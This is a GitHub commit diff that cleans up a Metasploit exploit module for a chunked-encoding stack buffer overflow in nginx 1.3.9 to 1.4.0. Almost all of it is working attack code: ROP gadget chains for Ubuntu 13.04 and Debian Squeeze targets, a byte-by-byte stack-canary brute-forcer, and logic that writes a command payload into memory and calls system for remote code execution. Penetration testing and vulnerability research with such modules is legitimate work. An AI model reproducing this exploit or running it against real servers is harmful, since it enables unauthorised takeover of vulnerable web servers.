Skip to content

Commit bfcd860

Browse files
author
jvazquez-r7
committed
Add code cleanup for nginx_chunked_size.
1 parent 7cc126c commit bfcd860

File tree

1 file changed

+103
-108
lines changed

1 file changed

+103
-108
lines changed

modules/exploits/linux/http/nginx_chunked_size.rb

Lines changed: 103 additions & 108 deletions
Original file line numberDiff line numberDiff line change
@@ -8,24 +8,26 @@
88
require 'msf/core'
99

1010
class Metasploit4 < Msf::Exploit::Remote
11+
1112
include Exploit::Remote::Tcp
12-
include Msf::Exploit::RopDb
1313

1414
def initialize(info = {})
1515

1616
super(update_info(info,
1717
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
1818
'Description' => %q{
19-
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers
20-
an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size.
21-
This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible.
19+
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
20+
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
21+
supplying an overly long hex value as chunked block size. This value is later used
22+
when determining the number of bytes to read into a stack buffer, thus the overflow
23+
becomes possible.
2224
},
2325
'Author' =>
2426
[
2527
'Greg MacManus', # original discovery
26-
'hal', # exploit development
27-
'saelo' # exploit development
28-
],
28+
'hal', # Metasploit module
29+
'saelo' # Metasploit module
30+
],
2931
'DisclosureDate' => 'May 07 2013',
3032
'License' => MSF_LICENSE,
3133
'References' =>
@@ -40,88 +42,23 @@ def initialize(info = {})
4042
{
4143
'BadChars' => "\x0d\x0a",
4244
},
45+
'Arch' => ARCH_CMD,
46+
'Platform' => 'unix',
4347
'Targets' =>
4448
[
45-
[
46-
'Ubuntu 13.04 32bit - nginx 1.4.0',
47-
{
48-
'Arch' => ARCH_CMD,
49-
'Ropname' => 'Ubuntu 13.04',
50-
'Platform' => 'unix',
51-
'CanaryOffset' => 5050,
52-
'Offset' => 12,
53-
'Writable' => 0x080c7330,
54-
'Rop' => {
55-
'store' => {
56-
'address_offset' => 1,
57-
'value_offset' => 3,
58-
'chain' => [
59-
0x0804c415, # pop ecx ; add al, 29h ; ret
60-
0x00000000, # address
61-
0x080b9a38, # pop eax ; ret
62-
0x00000000, # value
63-
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
64-
],
65-
},
66-
67-
'dereference' => {
68-
'writable_offset' => 7,
69-
'chain' => [
70-
0x08094129, # pop esi; ret
71-
0x080c5090, # GOT for localtime_r
72-
0x0804c415, # pop ecx ; add al, 29h ; ret
73-
0x001a4b00, # Offset to system
74-
0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret
75-
0x08076f63, # push ecx ; add al, 39h ; ret
76-
0x41414141, # Garbage return address
77-
0x00000000, # ptr to .data where contents have been stored
78-
],
79-
}
80-
}
81-
}
82-
],
83-
84-
[
85-
'Debian Squeeze 32bit - nginx 1.4.0',
86-
{
87-
'Arch' => ARCH_CMD,
88-
'Ropname' => 'Debian Squeeze',
89-
'Platform' => 'unix',
90-
'Offset' => 5130,
91-
'Writable' => 0x080b4360,
92-
'Rop' => {
93-
'store' => {
94-
'address_offset' => 3,
95-
'value_offset' => 1,
96-
'chain' => [
97-
0x08050d93, # pop edx ; add al 0x83 ; ret
98-
0x00000000, # value
99-
0x08067330, # pop eax ; ret
100-
0x00000000, # address
101-
0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
102-
0x41414141, # ebp
103-
],
104-
},
105-
106-
'dereference' => {
107-
'writable_offset' => 8,
108-
'chain' => [
109-
0x0804ab34, # pop edi ; pop ebp ; ret
110-
0x080B4128 -
111-
0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
112-
0x41414141, # padding (ebp)
113-
0x08093c75, # mov ebx, edi ; dec ecx ; ret
114-
0x08067330, # pop eax # ret
115-
0xfffb0c80, # offset
116-
0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret
117-
0x0804a3af, # call eax # system
118-
0x00000000 # ptr to .data where contents have been stored
119-
],
120-
}
121-
}
122-
}
123-
],
124-
49+
[ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
50+
'CanaryOffset' => 5050,
51+
'Offset' => 12,
52+
'Writable' => 0x080c7330, # .data from nginx
53+
:dereference_got_callback => :dereference_got_ubuntu_1304,
54+
:store_callback => :store_ubuntu_1304,
55+
}],
56+
[ 'Debian Squeeze 32bit - nginx 1.4.0', {
57+
'Offset' => 5130,
58+
'Writable' => 0x080b4360, # .data from nginx
59+
:dereference_got_callback => :dereference_got_debian_squeeze,
60+
:store_callback => :store_debian_squeeze
61+
} ],
12562
],
12663

12764
'DefaultTarget' => 0
@@ -133,14 +70,16 @@ def initialize(info = {})
13370

13471
register_advanced_options(
13572
[
136-
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff]),
73+
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
13774
], self.class)
13875

13976
end
14077

141-
def check
142-
@peer = "#{rhost}:#{rport}"
78+
def peer
79+
"#{rhost}:#{rport}"
80+
end
14381

82+
def check
14483
begin
14584
res = send_request_fixed(nil)
14685

@@ -151,11 +90,10 @@ def check
15190
end
15291

15392
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
154-
print_error("#{@peer} - Connection failed")
93+
print_error("#{peer} - Connection failed")
15594
end
15695

15796
return Exploit::CheckCode::Unknown
158-
15997
end
16098

16199
#
@@ -167,6 +105,7 @@ def random_chunk_size(bytes=16)
167105
end
168106

169107
def send_request_fixed(data)
108+
170109
connect
171110

172111
request = "GET / HTTP/1.1\r\n"
@@ -187,7 +126,60 @@ def send_request_fixed(data)
187126

188127
disconnect
189128
return res
129+
end
130+
131+
def store_ubuntu_1304(address, value)
132+
chain = [
133+
0x0804c415, # pop ecx ; add al, 29h ; ret
134+
address, # address
135+
0x080b9a38, # pop eax ; ret
136+
value.unpack('V').first, # value
137+
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
138+
]
139+
return chain.pack('V*')
140+
end
141+
142+
def dereference_got_ubuntu_1304
143+
chain = [
144+
0x08094129, # pop esi; ret
145+
0x080c5090, # GOT for localtime_r
146+
0x0804c415, # pop ecx ; add al, 29h ; ret
147+
0x001a4b00, # Offset to system
148+
0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret
149+
0x08076f63, # push ecx ; add al, 39h ; ret
150+
0x41414141, # Garbage return address
151+
target['Writable'], # ptr to .data where contents have been stored
152+
]
153+
return chain.pack('V*')
154+
end
155+
156+
def store_debian_squeeze(address, value)
157+
chain = [
158+
0x08050d93, # pop edx ; add al 0x83 ; ret
159+
value.unpack('V').first, # value
160+
0x08067330, # pop eax ; ret
161+
address, # address
162+
0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
163+
0x41414141, # ebp
164+
]
165+
166+
return chain.pack('V*')
167+
end
190168

169+
def dereference_got_debian_squeeze
170+
chain = [
171+
0x0804ab34, # pop edi ; pop ebp ; ret
172+
0x080B4128 -
173+
0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
174+
0x41414141, # padding (ebp)
175+
0x08093c75, # mov ebx, edi ; dec ecx ; ret
176+
0x08067330, # pop eax # ret
177+
0xfffb0c80, # offset
178+
0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret
179+
0x0804a3af, # call eax # system
180+
target['Writable'] # ptr to .data where contents have been stored
181+
]
182+
return chain.pack("V*")
191183
end
192184

193185
def store(buf, address, value)
@@ -199,17 +191,20 @@ def store(buf, address, value)
199191
end
200192

201193
def dereference_got
194+
195+
unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
196+
fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
197+
end
198+
202199
buf = ""
203200
command = payload.encoded
204201
i = 0
205202
while i < command.length
206-
store(buf, target['Writable'] + i, command[i, 4].ljust(4, ";"))
203+
buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
207204
i = i + 4
208205
end
209206

210-
chain = target['Rop']['dereference']['chain']
211-
chain[target['Rop']['dereference']['writable_offset']] = target['Writable']
212-
buf << chain.pack("V*")
207+
buf << self.send(target[:dereference_got_callback])
213208

214209
return buf
215210
end
@@ -218,26 +213,25 @@ def exploit
218213
data = random_chunk_size(1024)
219214

220215
if target['CanaryOffset'].nil?
221-
data << Rex::Text.pattern_create(target['Offset'] - data.size)
216+
data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
222217
else
223218

224219
if not datastore['CANARY'] == 0xffffffff
225-
print_status("Using 0x%08x as stack canary" % datastore['CANARY'])
220+
print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])
221+
canary = datastore['CANARY']
226222
else
227-
print_status("Searching for stack canary")
223+
print_status("#{peer} - Searching for stack canary")
228224
canary = find_canary
229225

230-
if canary.nil? or canary == 0x00000000
231-
print_error("Unable to find stack canary. Quiting")
232-
return
226+
if canary.nil? || canary == 0x00000000
227+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
233228
else
234-
print_status("Canary found: 0x%08x\n" % canary)
235-
datastore['CANARY'] = canary
229+
print_good("#{peer} - Canary found: 0x%08x\n" % canary)
236230
end
237231
end
238232

239233
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
240-
data << [datastore['CANARY']].pack('V')
234+
data << [canary].pack('V')
241235
data << Rex::Text.rand_text_hex(target['Offset'])
242236

243237
end
@@ -253,13 +247,14 @@ def exploit
253247
end
254248

255249
def find_canary
256-
257250
# First byte of the canary is already known
258251
canary = "\x00"
259252

253+
print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)
254+
260255
# We are going to bruteforce the next 3 bytes one at a time
261256
3.times do |c|
262-
print_status("Bruteforcing byte #{c + 1}")
257+
print_status("#{peer} - Bruteforcing byte #{c + 1}")
263258

264259
0.upto(255) do |i|
265260
data = random_chunk_size(1024)
@@ -268,7 +263,7 @@ def find_canary
268263
data << i.chr
269264

270265
unless send_request_fixed(data).nil?
271-
print_status("Byte #{c + 1} found: 0x%02x\n" % i)
266+
print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)
272267
canary << i.chr
273268
break
274269
end

0 commit comments

Comments
 (0)